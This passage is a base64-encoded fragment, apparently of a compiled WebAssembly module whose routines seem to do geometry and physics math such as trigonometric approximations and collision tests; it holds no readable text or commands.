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yAJBH0gCUG8AWoqAgAFQwAAAAALlJIhGCAaiyEaIAoEQCAKQbwBaioCACEZC0MAAAAAQwAAAAAgESARQwAAAABdGyARIBFcGyAHKAIgIAdBJGooAgAiEygCCEEHakF4cWogEygCnAERCwAgCCgCICAIQSRqKAIAIhMoAghBB2pBeHFqIBMoApwBEQsAkpIhESAYIBogGZSSIRhBASEUIActAIABIAgtAIABckUEQCAIQdQAaigCACAHQdAAaigCAHFFIAdB1ABqKAIAIAhB0ABqKAIAcUVyIRQLIBAgD5MgGJQgEV0NASASQRhqIhNCADcCBCATQYCAgPwDNgIAIBNBDGpCADcCACATQRRqQgA3AgAgE0EcakIANwIAIAlFDQIgCUHAAWotAAANAyASQcABaiAJQRhqKQIANwMAIBIgCSkCEDcDuAEgEkHgAWogEkG4AWoQugkMBAsgAEECNgIYDAYLIABBAjYCGAwFCyASQUBrIglBIGogEkEYaiITQSBqKAIANgIAIAlBGGogE0EYaikDADcDACAJQRBqIBNBEGopAwA3AwAgCUEIaiATQQhqKQMANwMAIBIgEikDGDcDQAwCCyASQbgBaiITQQhqIAlBCGopAgA3AwAgEiAJKQIANwO4ASASIAkpA0g3A2ggEiAJKQJ0NwOQASASQeABaiATIBJB6ABqIBJBkAFqIAlB/ABqKgIAEMUJCyASQUBrIglBIGogEkHgAWoiE0EgaigCADYCACAJQRhqIBNBGGopAwA3AwAgCUEQaiATQRBqKQMANwMAIAlBCGogE0EIaikDADcDACASIBIpA+ABNwNACwJAAkACQCAKBEAgCkHAAWotAAANASASQcABaiAKQRhqKQIANwMAIBIgCikCEDcDuAEgEkHgAWogEkG4AWoQugkMAgsgEkHoAGoiCUEgaiASQRhqIgpBIGooAgA2AgAgCUEYaiAKQRhqKQMANwMAIAlBEGogCkEQaikDADcDACAJQQhqIApBCGopAwA3AwAgEiASKQMYNwNoDAILIBJBuAFqIglBCGogCkEIaikCADcDACASIAopAgA3A7gBIBIgCikDSDcDiAIgEiAKKQJ0NwOQASASQeABaiAJIBJBiAJqIBJBkAFqIApB/ABqKgIAEMUJCyASQegAaiIJQSBqIBJB4AFqIgpBIGooAgA2AgAgC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CAAIAMpAhQ3AhQgACADKQIMNwIMIAAgAykCBDcCBCAAQQE2AgAMAQsgAy0ALEUEQEEAIQEDQCABIAFBAWogAUEKSyABQQdPcRshASADLQAsRQ0ACwsgAEECNgIACyADQdAAaiQADwsgBCAGQcjDwAAQogcACyADIAc6ADwgAyACNgI4QdjDwABBKyADQThqQcjHwABB5MjAABDbBgALQeTBwABBK0HkyMAAEMkIAAtB5MHAAEErQfTIwAAQyQgACyAEIAZByMPAABCiBwALIAMgBzoAPCADIAI2AjhB2MPAAEErIANBOGpByMfAAEGEycAAENsGAAtB5MHAAEErQYTJwAAQyQgAC0HkwcAAQStBlMnAABDJCAALIANBADYCTCADQfS+wAA2AkggA0EBNgJEIANBzMvAADYCQCADQQA2AjggA0E3aiADQThqEN0HAAvnDAMMfwF9An4jAEHAAWsiCCQAIAggBzgCDCAIQRBqIAUgAiAGKAKIARECACAHQwAAAABgBEAgCCkDECEVIAgpAxghFiAAQQA2AgAgCEEcaiAGNgIAIAggAjYCJCAIIAE2AiAgCCADNgIQIAggADYCL